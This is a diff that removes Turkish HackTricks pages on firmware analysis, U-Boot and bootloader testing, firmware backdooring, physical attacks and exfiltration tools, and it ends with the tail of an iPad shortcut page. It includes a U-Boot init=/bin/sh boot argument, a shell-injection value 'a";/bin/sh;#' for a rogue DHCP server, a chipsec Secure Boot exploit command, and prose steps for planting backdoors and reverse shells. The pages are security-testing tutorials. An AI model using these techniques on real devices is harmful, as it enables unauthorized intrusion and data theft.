| ↑↓ (Yukarı ok, Aşağı ok) | Seçilen öğeye aynı anda dokunun |
| ⌥ ↓ (Seçenek-Aşağı ok) | Aşağı kaydır |
| ⌥↑ (Seçenek-Yukarı ok) | Yukarı kaydır |
| ⌥← veya ⌥→ (Seçenek-Sol ok veya Seçenek-Sağ ok) | Sola veya sağa kaydır |
| ^⌥S (Kontrol-Seçenek-S) | VoiceOver konuşmasını aç veya kapat |
| ⌘⇧⇥ (Komut-Shift-Sekme) | Önceki uygulamaya geç |
| ⌘⇥ (Komut-Sekme) | Orijinal uygulamaya geri dön |
| ←+→, ardından Seçenek + ← veya Seçenek+→ | Dock'ta gezin |
### Safari kısayolları
| Kısayol | Eylem |
| ----------------------- | ------------------------------------------------ |
| ⌘L (Komut-L) | Konum Aç |
| ⌘T | Yeni bir sekme aç |
| ⌘W | Mevcut sekmeyi kapat |
| ⌘R | Mevcut sekmeyi yenile |
| ⌘. | Mevcut sekmenin yüklenmesini durdur |
| ^⇥ | Sonraki sekmeye geç |
| ^⇧⇥ (Kontrol-Shift-Sekme) | Önceki sekmeye geç |
| ⌘L | Metin girişi/URL alanını seçip düzenlemek için |
| ⌘⇧T (Komut-Shift-T) | En son kapatılan sekmeyi aç (birkaç kez kullanılabilir) |
| ⌘\[ | Tarayıcı geçmişinizde bir sayfaya geri dön |
| ⌘] | Tarayıcı geçmişinizde bir sayfaya ileri git |
| ⌘⇧R | Okuyucu Modunu etkinleştir |
### Mail kısayolları
| Kısayol | Eylem |
| -------------------------- | ---------------------------- |
| ⌘L | Konum Aç |
| ⌘T | Yeni bir sekme aç |
| ⌘W | Mevcut sekmeyi kapat |
| ⌘R | Mevcut sekmeyi yenile |
| ⌘. | Mevcut sekmenin yüklenmesini durdur |
| ⌘⌥F (Komut-Seçenek/Alt-F) | Posta kutunuzda arama yap |
# Referanslar
- [https://www.macworld.com/article/2975857/6-only-for-ipad-gestures-you-need-to-know.html](https://www.macworld.com/article/2975857/6-only-for-ipad-gestures-you-need-to-know.html)
- [https://www.tomsguide.com/us/ipad-shortcuts,news-18205.html](https://www.tomsguide.com/us/ipad-shortcuts,news-18205.html)
- [https://thesweetsetup.com/best-ipad-keyboard-shortcuts/](https://thesweetsetup.com/best-ipad-keyboard-shortcuts/)
- [http://www.iphonehacks.com/2018/03/ipad-keyboard-shortcuts.html](http://www.iphonehacks.com/2018/03/ipad-keyboard-shortcuts.html)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,240 +0,0 @@
# Firmware Analizi
{{#include ../../banners/hacktricks-training.md}}
## **Giriş**
Firmware, cihazların doğru bir şekilde çalışmasını sağlayan ve donanım bileşenleri ile kullanıcıların etkileşimde bulunduğu yazılım arasında iletişimi yönetip kolaylaştıran temel yazılımdır. Kalıcı bellekte depolanır, böylece cihaz açıldığında kritik talimatlara erişebilir ve işletim sisteminin başlatılmasını sağlar. Firmware'i incelemek ve potansiyel olarak değiştirmek, güvenlik açıklarını belirlemede kritik bir adımdır.
## **Bilgi Toplama**
**Bilgi toplama**, bir cihazın yapısını ve kullandığı teknolojileri anlamanın kritik bir başlangıç adımıdır. Bu süreç, aşağıdaki verilerin toplanmasını içerir:
- Çalıştığı CPU mimarisi ve işletim sistemi
- Bootloader ayrıntıları
- Donanım düzeni ve veri sayfaları
- Kod tabanı metrikleri ve kaynak konumları
- Harici kütüphaneler ve lisans türleri
- Güncelleme geçmişleri ve düzenleyici sertifikalar
- Mimari ve akış diyagramları
- Güvenlik değerlendirmeleri ve belirlenen güvenlik açıkları
Bu amaçla, **açık kaynak istihbaratı (OSINT)** araçları çok değerlidir; ayrıca mevcut açık kaynak yazılım bileşenlerinin manuel ve otomatik inceleme süreçleriyle analizi de önemlidir. [Coverity Scan](https://scan.coverity.com) ve [Semmlenin LGTM](https://lgtm.com/#explore) gibi araçlar, potansiyel sorunları bulmak için kullanılabilecek ücretsiz statik analiz sunar.
## **Firmware Edinme**
Firmware edinmek, her biri kendi karmaşıklık seviyesine sahip çeşitli yollarla gerçekleştirilebilir:
- **Doğrudan** kaynaktan (geliştiriciler, üreticiler)
- Verilen talimatlardan **oluşturarak**
- Resmi destek sitelerinden **indirerek**
- Barındırılan firmware dosyalarını bulmak için **Google dork** sorguları kullanarak
- [S3Scanner](https://github.com/sa7mon/S3Scanner) gibi araçlarla **bulut depolama** alanlarına doğrudan erişerek
- Adam ortada teknikleriyle **güncellemeleri** yakalayarak
- **UART**, **JTAG** veya **PICit** gibi bağlantılar aracılığıyla cihazdan **çıkararak**
- Cihaz iletişimi içinde güncelleme taleplerini **dinleyerek**
- **Sabit kodlu güncelleme uç noktalarını** tanımlayıp kullanarak
- Bootloader veya ağdan **dump** alarak
- Tüm bunlar başarısız olursa, uygun donanım araçları kullanarak depolama çipini **çıkartıp okuyarak**
## Firmware'i Analiz Etme
Artık **firmware'e sahip olduğunuzda**, ona nasıl yaklaşacağınızı bilmek için bilgi çıkarmanız gerekir. Bunun için kullanabileceğiniz farklı araçlar:
```bash
file <bin>
strings -n8 <bin>
strings -tx <bin> #print offsets in hex
hexdump -C -n 512 <bin> > hexdump.out
hexdump -C <bin> | head # might find signatures in header
fdisk -lu <bin> #lists a drives partition and filesystems if multiple
```
Eğer bu araçlarla pek bir şey bulamazsanız, görüntünün **entropisini** `binwalk -E <bin>` ile kontrol edin, düşük entropi varsa, muhtemelen şifrelenmemiştir. Yüksek entropi varsa, muhtemelen şifrelenmiştir (veya bir şekilde sıkıştırılmıştır).
Ayrıca, bu araçları **firmware içinde gömülü dosyaları çıkarmak için** kullanabilirsiniz:
{{#ref}}
../../forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md
{{#endref}}
Veya dosyayı incelemek için [**binvis.io**](https://binvis.io/#/) ([code](https://code.google.com/archive/p/binvis/)) kullanabilirsiniz.
### Dosya Sistemini Alma
Önceki yorumlanan araçlarla `binwalk -ev <bin>` kullanarak **dosya sistemini çıkarmış olmalısınız**.\
Binwalk genellikle **dosya sistemi türüyle adlandırılan bir klasörün içine çıkarır**, bu genellikle aşağıdakilerden biridir: squashfs, ubifs, romfs, rootfs, jffs2, yaffs2, cramfs, initramfs.
#### Manuel Dosya Sistemi Çıkartma
Bazen, binwalk **dosya sisteminin sihirli baytını imzalarında bulamayabilir**. Bu durumlarda, binwalk kullanarak **dosya sisteminin ofsetini bulun ve sıkıştırılmış dosya sistemini** ikili dosyadan çıkarın ve **aşağıdaki adımları kullanarak** dosya sistemini türüne göre **manuel olarak çıkarın**.
```
$ binwalk DIR850L_REVB.bin
DECIMAL HEXADECIMAL DESCRIPTION
----------------------------------------------------------------------------- ---
0 0x0 DLOB firmware header, boot partition: """"dev=/dev/mtdblock/1""""
10380 0x288C LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 5213748 bytes
1704052 0x1A0074 PackImg section delimiter tag, little endian size: 32256 bytes; big endian size: 8257536 bytes
1704084 0x1A0094 Squashfs filesystem, little endian, version 4.0, compression:lzma, size: 8256900 bytes, 2688 inodes, blocksize: 131072 bytes, created: 2016-07-12 02:28:41
```
Aşağıdaki **dd komutunu** çalıştırarak Squashfs dosya sistemini kesin.
```
$ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
8257536+0 records in
8257536+0 records out
8257536 bytes (8.3 MB, 7.9 MiB) copied, 12.5777 s, 657 kB/s
```
Alternatif olarak, aşağıdaki komut da çalıştırılabilir.
`$ dd if=DIR850L_REVB.bin bs=1 skip=$((0x1A0094)) of=dir.squashfs`
- squashfs (yukarıdaki örnekte kullanılan)
`$ unsquashfs dir.squashfs`
Dosyalar daha sonra "`squashfs-root`" dizininde olacaktır.
- CPIO arşiv dosyaları
`$ cpio -ivd --no-absolute-filenames -F <bin>`
- jffs2 dosya sistemleri için
`$ jefferson rootfsfile.jffs2`
- NAND flash ile ubifs dosya sistemleri için
`$ ubireader_extract_images -u UBI -s <start_offset> <bin>`
`$ ubidump.py <bin>`
## Firmware Analizi
Firmware elde edildikten sonra, yapısını ve potansiyel zayıflıklarını anlamak için parçalanması önemlidir. Bu süreç, firmware görüntüsünden değerli verileri analiz etmek ve çıkarmak için çeşitli araçların kullanılmasını içerir.
### İlk Analiz Araçları
İlk inceleme için bir dizi komut sağlanmıştır ( `<bin>` olarak adlandırılan ikili dosya için). Bu komutlar dosya türlerini tanımlamaya, dizeleri çıkarmaya, ikili verileri analiz etmeye ve bölüm ile dosya sistemi ayrıntılarını anlamaya yardımcı olur:
```bash
file <bin>
strings -n8 <bin>
strings -tx <bin> #prints offsets in hexadecimal
hexdump -C -n 512 <bin> > hexdump.out
hexdump -C <bin> | head #useful for finding signatures in the header
fdisk -lu <bin> #lists partitions and filesystems, if there are multiple
```
Görüntünün şifreleme durumunu değerlendirmek için **entropy** `binwalk -E <bin>` ile kontrol edilir. Düşük entropy, şifreleme eksikliğini gösterirken, yüksek entropy olası şifreleme veya sıkıştırmayı belirtir.
**Gömülü dosyaları** çıkarmak için **file-data-carving-recovery-tools** belgeleri ve dosya incelemesi için **binvis.io** gibi araçlar ve kaynaklar önerilir.
### Dosya Sistemini Çıkarma
`binwalk -ev <bin>` kullanarak genellikle dosya sistemi çıkarılabilir, genellikle dosya sistemi türüyle adlandırılan bir dizine (örneğin, squashfs, ubifs) çıkarılır. Ancak, **binwalk** sihirli baytların eksikliği nedeniyle dosya sistemi türünü tanımadığında, manuel çıkarma gereklidir. Bu, dosya sisteminin ofsetini bulmak için `binwalk` kullanmayı ve ardından dosya sistemini çıkarmak için `dd` komutunu içermektedir:
```bash
$ binwalk DIR850L_REVB.bin
$ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
```
Sonrasında, dosya sistemi türüne bağlı olarak (örneğin, squashfs, cpio, jffs2, ubifs), içerikleri manuel olarak çıkarmak için farklı komutlar kullanılır.
### Dosya Sistemi Analizi
Dosya sistemi çıkarıldıktan sonra, güvenlik açıkları arayışına başlanır. Güvensiz ağ daemon'larına, hardcoded kimlik bilgilerine, API uç noktalarına, güncelleme sunucusu işlevlerine, derlenmemiş koda, başlangıç betiklerine ve çevrimdışı analiz için derlenmiş ikililere dikkat edilir.
**Ana konumlar** ve **incelemesi gereken öğeler** şunlardır:
- **etc/shadow** ve **etc/passwd** kullanıcı kimlik bilgileri için
- **etc/ssl** içindeki SSL sertifikaları ve anahtarları
- Potansiyel güvenlik açıkları için yapılandırma ve betik dosyaları
- Daha fazla analiz için gömülü ikililer
- Yaygın IoT cihazı web sunucuları ve ikilileri
Dosya sistemi içindeki hassas bilgileri ve güvenlik açıklarını ortaya çıkarmaya yardımcı olan birkaç araç vardır:
- [**LinPEAS**](https://github.com/carlospolop/PEASS-ng) ve [**Firmwalker**](https://github.com/craigz28/firmwalker) hassas bilgi arayışı için
- [**The Firmware Analysis and Comparison Tool (FACT)**](https://github.com/fkie-cad/FACT_core) kapsamlı firmware analizi için
- [**FwAnalyzer**](https://github.com/cruise-automation/fwanalyzer), [**ByteSweep**](https://gitlab.com/bytesweep/bytesweep), [**ByteSweep-go**](https://gitlab.com/bytesweep/bytesweep-go) ve [**EMBA**](https://github.com/e-m-b-a/emba) statik ve dinamik analiz için
### Derlenmiş İkililer Üzerinde Güvenlik Kontrolleri
Dosya sisteminde bulunan hem kaynak kodu hem de derlenmiş ikililer güvenlik açıklarıısından incelenmelidir. Unix ikilileri için **checksec.sh** ve Windows ikilileri için **PESecurity** gibi araçlar, istismar edilebilecek korumasız ikilileri tanımlamaya yardımcı olur.
## Dinamik Analiz için Firmware Taklit Etme
Firmware taklit etme süreci, bir cihazın çalışmasını veya bireysel bir programı **dinamik analiz** etmeyi sağlar. Bu yaklaşım, donanım veya mimari bağımlılıkları ile zorluklarla karşılaşabilir, ancak kök dosya sistemini veya belirli ikilileri, Raspberry Pi gibi eşleşen mimari ve endianlıkta bir cihaza veya önceden oluşturulmuş bir sanal makineye aktarmak, daha fazla test yapmayı kolaylaştırabilir.
### Bireysel İkilileri Taklit Etme
Tek programları incelemek için, programın endianlığını ve CPU mimarisini belirlemek kritik öneme sahiptir.
#### MIPS Mimarisi ile Örnek
MIPS mimarisi ikilisini taklit etmek için şu komut kullanılabilir:
```bash
file ./squashfs-root/bin/busybox
```
Gerekli emülasyon araçlarını kurmak için:
```bash
sudo apt-get install qemu qemu-user qemu-user-static qemu-system-arm qemu-system-mips qemu-system-x86 qemu-utils
```
MIPS (big-endian) için `qemu-mips` kullanılırken, little-endian ikili dosyalar için `qemu-mipsel` tercih edilir.
#### ARM Mimari Emülasyonu
ARM ikili dosyaları için süreç benzerdir, emülasyon için `qemu-arm` emülatörü kullanılır.
### Tam Sistem Emülasyonu
[Firmadyne](https://github.com/firmadyne/firmadyne), [Firmware Analysis Toolkit](https://github.com/attify/firmware-analysis-toolkit) ve diğerleri gibi araçlar, tam firmware emülasyonunu kolaylaştırarak süreci otomatikleştirir ve dinamik analize yardımcı olur.
## Pratikte Dinamik Analiz
Bu aşamada, analiz için gerçek veya emüle edilmiş bir cihaz ortamı kullanılır. OS ve dosya sistemine shell erişimini sürdürmek önemlidir. Emülasyon, donanım etkileşimlerini mükemmel bir şekilde taklit etmeyebilir, bu nedenle ara sıra emülasyonun yeniden başlatılması gerekebilir. Analiz, dosya sistemini yeniden gözden geçirmeli, açığa çıkan web sayfalarını ve ağ hizmetlerini istismar etmeli ve önyükleyici zafiyetlerini keşfetmelidir. Firmware bütünlüğü testleri, potansiyel arka kapı zafiyetlerini belirlemek için kritik öneme sahiptir.
## Çalışma Zamanı Analiz Teknikleri
Çalışma zamanı analizi, bir süreç veya ikili dosya ile işletim ortamında etkileşimde bulunmayı içerir; gdb-multiarch, Frida ve Ghidra gibi araçlar kullanılarak kesme noktaları ayarlanır ve fuzzing gibi tekniklerle zafiyetler belirlenir.
## İkili İstismar ve Kanıt Konsepti
Belirlenen zafiyetler için bir PoC geliştirmek, hedef mimarinin derin bir anlayışını ve daha düşük seviyeli dillerde programlama bilgisi gerektirir. Gömülü sistemlerde ikili çalışma zamanı korumaları nadirdir, ancak mevcut olduğunda, Return Oriented Programming (ROP) gibi teknikler gerekli olabilir.
## Firmware Analizi için Hazırlanmış İşletim Sistemleri
[AttifyOS](https://github.com/adi0x90/attifyos) ve [EmbedOS](https://github.com/scriptingxss/EmbedOS) gibi işletim sistemleri, gerekli araçlarla donatılmış firmware güvenlik testleri için önceden yapılandırılmış ortamlar sağlar.
## Firmware Analizi için Hazırlanmış OS'ler
- [**AttifyOS**](https://github.com/adi0x90/attifyos): AttifyOS, Internet of Things (IoT) cihazlarının güvenlik değerlendirmesi ve penetrasyon testleri yapmanıza yardımcı olmak için tasarlanmış bir dağıtımdır. Tüm gerekli araçların yüklü olduğu önceden yapılandırılmış bir ortam sunarak size çok zaman kazandırır.
- [**EmbedOS**](https://github.com/scriptingxss/EmbedOS): Gömülü güvenlik testleri için firmware güvenlik test araçları ile önceden yüklenmiş Ubuntu 18.04 tabanlı bir işletim sistemi.
## Pratik Yapmak için Zayıf Firmware
Firmware'deki zafiyetleri keşfetmek için pratik yapmak amacıyla aşağıdaki zayıf firmware projelerini başlangıç noktası olarak kullanın.
- OWASP IoTGoat
- [https://github.com/OWASP/IoTGoat](https://github.com/OWASP/IoTGoat)
- The Damn Vulnerable Router Firmware Project
- [https://github.com/praetorian-code/DVRF](https://github.com/praetorian-code/DVRF)
- Damn Vulnerable ARM Router (DVAR)
- [https://blog.exploitlab.net/2018/01/dvar-damn-vulnerable-arm-router.html](https://blog.exploitlab.net/2018/01/dvar-damn-vulnerable-arm-router.html)
- ARM-X
- [https://github.com/therealsaumil/armx#downloads](https://github.com/therealsaumil/armx#downloads)
- Azeria Labs VM 2.0
- [https://azeria-labs.com/lab-vm-2-0/](https://azeria-labs.com/lab-vm-2-0/)
- Damn Vulnerable IoT Device (DVID)
- [https://github.com/Vulcainreo/DVID](https://github.com/Vulcainreo/DVID)
## Referanslar
- [https://scriptingxss.gitbook.io/firmware-security-testing-methodology/](https://scriptingxss.gitbook.io/firmware-security-testing-methodology/)
- [Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things](https://www.amazon.co.uk/Practical-IoT-Hacking-F-Chantzis/dp/1718500904)
## Eğitim ve Sertifika
- [https://www.attify-store.com/products/offensive-iot-exploitation](https://www.attify-store.com/products/offensive-iot-exploitation)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,52 +0,0 @@
{{#include ../../banners/hacktricks-training.md}}
Aşağıdaki adımlar, U-boot gibi cihaz başlangıç yapılandırmalarını ve bootloader'ları değiştirmek için önerilmektedir:
1. **Bootloader'ın Yorumlayıcı Shell'ine Erişim**:
- Başlangıç sırasında, bootloader'ın yorumlayıcı shell'ine erişmek için "0", boşluk veya diğer tanımlanmış "sihirli kodlar" tuşlayın.
2. **Boot Argümanlarını Değiştirin**:
- Bir shell komutunun yürütülmesine izin vermek için boot argümanlarına '`init=/bin/sh`' eklemek için aşağıdaki komutları çalıştırın:
%%%
#printenv
#setenv bootargs=console=ttyS0,115200 mem=63M root=/dev/mtdblock3 mtdparts=sflash:<partitiionInfo> rootfstype=<fstype> hasEeprom=0 5srst=0 init=/bin/sh
#saveenv
#boot
%%%
3. **TFTP Sunucusu Kurun**:
- Yerel bir ağ üzerinden görüntüleri yüklemek için bir TFTP sunucusu yapılandırın:
%%%
#setenv ipaddr 192.168.2.2 #cihazın yerel IP'si
#setenv serverip 192.168.2.1 #TFTP sunucu IP'si
#saveenv
#reset
#ping 192.168.2.1 #ağ erişimini kontrol et
#tftp ${loadaddr} uImage-3.6.35 #loadaddr, dosyanın yükleneceği adresi ve TFTP sunucusundaki görüntü dosyasının adını alır
%%%
4. **`ubootwrite.py` Kullanımı**:
- Root erişimi kazanmak için U-boot görüntüsünü yazmak ve değiştirilmiş bir firmware yüklemek için `ubootwrite.py` kullanın.
5. **Debug Özelliklerini Kontrol Edin**:
- Ayrıntılı günlükleme, rastgele çekirdek yükleme veya güvenilmeyen kaynaklardan başlatma gibi debug özelliklerinin etkin olup olmadığını doğrulayın.
6. **Dikkatli Donanım Müdahalesi**:
- Cihazın başlatma sırası sırasında bir pini toprağa bağlarken ve SPI veya NAND flash yongaları ile etkileşimde bulunurken dikkatli olun, özellikle çekirdek açılmadan önce. Pinleri kısaltmadan önce NAND flash yongasının veri sayfasını kontrol edin.
7. **Sahte DHCP Sunucusu Yapılandırın**:
- PXE başlatma sırasında bir cihazın alması için kötü niyetli parametrelerle sahte bir DHCP sunucusu kurun. Metasploit'in (MSF) DHCP yardımcı sunucusu gibi araçları kullanın. 'FILENAME' parametresini `'a";/bin/sh;#'` gibi komut enjeksiyon komutları ile değiştirerek cihaz başlangıç prosedürleri için giriş doğrulamasını test edin.
**Not**: Cihaz pinleri ile fiziksel etkileşim içeren adımlar (\* yıldız ile işaretlenmiş) cihazın zarar görmesini önlemek için son derece dikkatli bir şekilde yaklaşılmalıdır.
## Referanslar
- [https://scriptingxss.gitbook.io/firmware-security-testing-methodology/](https://scriptingxss.gitbook.io/firmware-security-testing-methodology/)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,35 +0,0 @@
{{#include ../../banners/hacktricks-training.md}}
## Firmware Bütünlüğü
**Özel firmware ve/veya derlenmiş ikili dosyalar, bütünlük veya imza doğrulama hatalarını istismar etmek için yüklenebilir.** Arka kapı bind shell derlemesi için aşağıdaki adımlar izlenebilir:
1. Firmware, firmware-mod-kit (FMK) kullanılarak çıkarılabilir.
2. Hedef firmware mimarisi ve endianlık belirlenmelidir.
3. Ortam için Buildroot veya diğer uygun yöntemler kullanılarak bir çapraz derleyici oluşturulabilir.
4. Arka kapı, çapraz derleyici kullanılarak oluşturulabilir.
5. Arka kapı, çıkarılan firmware'in /usr/bin dizinine kopyalanabilir.
6. Uygun QEMU ikili dosyası, çıkarılan firmware rootfs'ye kopyalanabilir.
7. Arka kapı, chroot ve QEMU kullanılarak taklit edilebilir.
8. Arka kapıya netcat aracılığıyla erişilebilir.
9. QEMU ikili dosyası, çıkarılan firmware rootfs'den kaldırılmalıdır.
10. Değiştirilen firmware, FMK kullanılarak yeniden paketlenebilir.
11. Arka kapılı firmware, firmware analysis toolkit (FAT) ile taklit edilerek ve hedef arka kapı IP'sine ve portuna netcat kullanarak bağlanarak test edilebilir.
Eğer dinamik analiz, önyükleyici manipülasyonu veya donanım güvenlik testi yoluyla bir root shell elde edilmişse, implantlar veya ters shell gibi önceden derlenmiş kötü niyetli ikili dosyalar çalıştırılabilir. Metasploit çerçevesi ve 'msfvenom' gibi otomatik yük/implant araçları aşağıdaki adımlar kullanılarak yararlanılabilir:
1. Hedef firmware mimarisi ve endianlık belirlenmelidir.
2. Msfvenom, hedef yükü, saldırgan ana bilgisayar IP'sini, dinleme port numarasını, dosya türünü, mimariyi, platformu ve çıktı dosyasını belirtmek için kullanılabilir.
3. Yük, ele geçirilmiş cihaza aktarılmalı ve yürütme izinlerinin olduğu doğrulanmalıdır.
4. Metasploit, msfconsole başlatarak ve ayarları yükle göre yapılandırarak gelen istekleri işlemek için hazırlanabilir.
5. Meterpreter ters shell, ele geçirilmiş cihazda çalıştırılabilir.
6. Meterpreter oturumlarııldıkça izlenebilir.
7. Post-exploitation faaliyetleri gerçekleştirilebilir.
Mümkünse, başlangıç betiklerinde bulunan zafiyetler, yeniden başlatmalar arasında bir cihaza kalıcı erişim sağlamak için istismar edilebilir. Bu zafiyetler, başlangıç betikleri güvenilmeyen montajlı konumlarda bulunan koda atıfta bulunduğunda, [sembolik bağlantı](https://www.chromium.org/chromium-os/chromiumos-design-docs/hardening-against-malicious-stateful-data) yaptığında veya bağımlı olduğunda ortaya çıkar; bu konumlar, kök dosya sistemleri dışında veri depolamak için kullanılan SD kartlar ve flash hacimleri gibi yerlerdir.
## Referanslar
- Daha fazla bilgi için [https://scriptingxss.gitbook.io/firmware-security-testing-methodology/](https://scriptingxss.gitbook.io/firmware-security-testing-methodology/)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,57 +0,0 @@
# Fiziksel Saldırılar
{{#include ../banners/hacktricks-training.md}}
## BIOS Şifre Kurtarma ve Sistem Güvenliği
**BIOS'u sıfırlamak**, birkaç şekilde gerçekleştirilebilir. Çoğu anakart, **30 dakika** kadar çıkarıldığında BIOS ayarlarını, şifreyi de içerecek şekilde sıfırlayan bir **pil** içerir. Alternatif olarak, belirli pinleri bağlayarak bu ayarları sıfırlamak için **anakart üzerindeki bir jumper** ayarlanabilir.
Donanım ayarlamalarının mümkün veya pratik olmadığı durumlar için, **yazılım araçları** bir çözüm sunar. **Kali Linux** gibi dağıtımlarla bir **Live CD/USB** üzerinden sistem çalıştırmak, BIOS şifre kurtarmaya yardımcı olabilecek **_killCmos_** ve **_CmosPWD_** gibi araçlara erişim sağlar.
BIOS şifresi bilinmediğinde, yanlış girildiğinde genellikle **üç kez** hata kodu ile sonuçlanır. Bu kod, kullanılabilir bir şifreyi potansiyel olarak geri almak için [https://bios-pw.org](https://bios-pw.org) gibi web sitelerinde kullanılabilir.
### UEFI Güvenliği
Geleneksel BIOS yerine **UEFI** kullanan modern sistemler için, **chipsec** aracı UEFI ayarlarını analiz etmek ve değiştirmek, **Secure Boot**'u devre dışı bırakmak için kullanılabilir. Bu, aşağıdaki komutla gerçekleştirilebilir:
`python chipsec_main.py -module exploits.secure.boot.pk`
### RAM Analizi ve Soğuk Başlatma Saldırıları
RAM, güç kesildiğinde verileri genellikle **1 ila 2 dakika** boyunca kısa bir süre saklar. Bu süre, sıvı nitrojen gibi soğuk maddeler uygulanarak **10 dakikaya** kadar uzatılabilir. Bu uzatılmış süre boyunca, analiz için **dd.exe** ve **volatility** gibi araçlar kullanılarak bir **bellek dökümü** oluşturulabilir.
### Doğrudan Bellek Erişimi (DMA) Saldırıları
**INCEPTION**, **FireWire** ve **Thunderbolt** gibi arayüzlerle uyumlu, **fiziksel bellek manipülasyonu** için tasarlanmış bir araçtır. Herhangi bir şifreyi kabul etmek için belleği yamanarak oturum açma prosedürlerini atlamaya olanak tanır. Ancak, **Windows 10** sistemlerine karşı etkisizdir.
### Sistem Erişimi için Live CD/USB
**_sethc.exe_** veya **_Utilman.exe_** gibi sistem ikili dosyalarını **_cmd.exe_** kopyası ile değiştirmek, sistem ayrıcalıkları ile bir komut istemcisi sağlayabilir. **chntpw** gibi araçlar, bir Windows kurulumunun **SAM** dosyasını düzenlemek için kullanılabilir ve şifre değişikliklerine olanak tanır.
**Kon-Boot**, Windows çekirdeğini veya UEFI'yi geçici olarak değiştirerek şifreyi bilmeden Windows sistemlerine giriş yapmayı kolaylaştıran bir araçtır. Daha fazla bilgi [https://www.raymond.cc](https://www.raymond.cc/blog/login-to-windows-administrator-and-linux-root-account-without-knowing-or-changing-current-password/) adresinde bulunabilir.
### Windows Güvenlik Özelliklerini Aşma
#### Başlatma ve Kurtarma Kısayolları
- **Supr**: BIOS ayarlarına erişim.
- **F8**: Kurtarma moduna girme.
- Windows afişinden sonra **Shift** tuşuna basmak, otomatik oturumu atlayabilir.
#### Kötü USB Cihazları
**Rubber Ducky** ve **Teensyduino** gibi cihazlar, hedef bilgisayara bağlandıklarında önceden tanımlanmış yükleri çalıştırabilen **kötü USB** cihazları oluşturmak için platformlar olarak hizmet eder.
#### Hacim Gölge Kopyası
Yönetici ayrıcalıkları, PowerShell aracılığıyla **SAM** dosyası da dahil olmak üzere hassas dosyaların kopyalarını oluşturma imkanı sağlar.
### BitLocker Şifrelemesini Aşma
BitLocker şifrelemesi, **kurtarma şifresi** bir bellek döküm dosyasında (**MEMORY.DMP**) bulunursa potansiyel olarak aşılabilir. Bu amaçla **Elcomsoft Forensic Disk Decryptor** veya **Passware Kit Forensic** gibi araçlar kullanılabilir.
### Kurtarma Anahtarı Ekleme için Sosyal Mühendislik
Yeni bir BitLocker kurtarma anahtarı, bir kullanıcıyı sıfırlardan oluşan yeni bir kurtarma anahtarı ekleyecek bir komutu çalıştırmaya ikna ederek sosyal mühendislik taktikleriyle eklenebilir ve böylece şifre çözme süreci basitleştirilebilir.
{{#include ../banners/hacktricks-training.md}}

View File

@ -1,16 +0,0 @@
{{#include ./banners/hacktricks-training.md}}
## **Yerel l00t**
- [**PEASS-ng**](https://github.com/carlospolop/PEASS-ng): Bu scriptler, PE vektörlerini aramanın yanı sıra, dosya sisteminde hassas bilgileri de arayacaktır.
- [**LaZagne**](https://github.com/AlessandroZ/LaZagne): **LaZagne projesi**, yerel bir bilgisayarda saklanan **birçok şifreyi geri almak için** kullanılan açık kaynak bir uygulamadır. Her yazılım, şifrelerini farklı teknikler (düz metin, API'ler, özel algoritmalar, veritabanları vb.) kullanarak saklar. Bu araç, en yaygın kullanılan yazılımlar için bu şifreleri bulma amacıyla geliştirilmiştir.
## **Dış Hizmetler**
- [**Conf-Thief**](https://github.com/antman1p/Conf-Thief): Bu Modül, bir erişim token'ı kullanarak Confluence API'sine bağlanacak, PDF'ye aktaracak ve hedefin erişim sağladığı Confluence belgelerini indirecektir.
- [**GD-Thief**](https://github.com/antman1p/GD-Thief): Hedefin erişim sağladığı Google Drive'dan dosyaları exfiltrate etmek için bir Kırmızı Ekip aracıdır. Bu, tüm paylaşılan dosyaları, paylaşılan sürülerden tüm dosyaları ve hedefin erişim sağladığı alan sürülerinden tüm dosyaları içerir.
- [**GDir-Thief**](https://github.com/antman1p/GDir-Thief): Erişim sağladığınız hedef organizasyonun Google Kişi Dizini'ni exfiltrate etmek için bir Kırmızı Ekip aracıdır, Google'ın Kişi API'si aracılığıyla.
- [**SlackPirate**](https://github.com/emtunc/SlackPirate)**:** Bu, bir erişim token'ı verildiğinde bir Slack çalışma alanından 'ilginç' bilgileri çıkarmak için yerel Slack API'lerini kullanan Python'da geliştirilmiş bir araçtır.
- [**Slackhound**](https://github.com/BojackThePillager/Slackhound): Slackhound, kırmızı ve mavi ekiplerin bir Slack çalışma alanı/organizasyonunu hızlı bir şekilde keşfetmelerini sağlamak için bir komut satırı aracıdır. Slackhound, bir organizasyonun kullanıcılarını, dosyalarını, mesajlarını vb. hızlı bir şekilde aratılabilir hale getirir ve büyük nesneler çevrimdışı inceleme için CSV'ye yazılır.
{{#include ./banners/hacktricks-training.md}}

Some files were not shown because too many files have changed in this diff Show More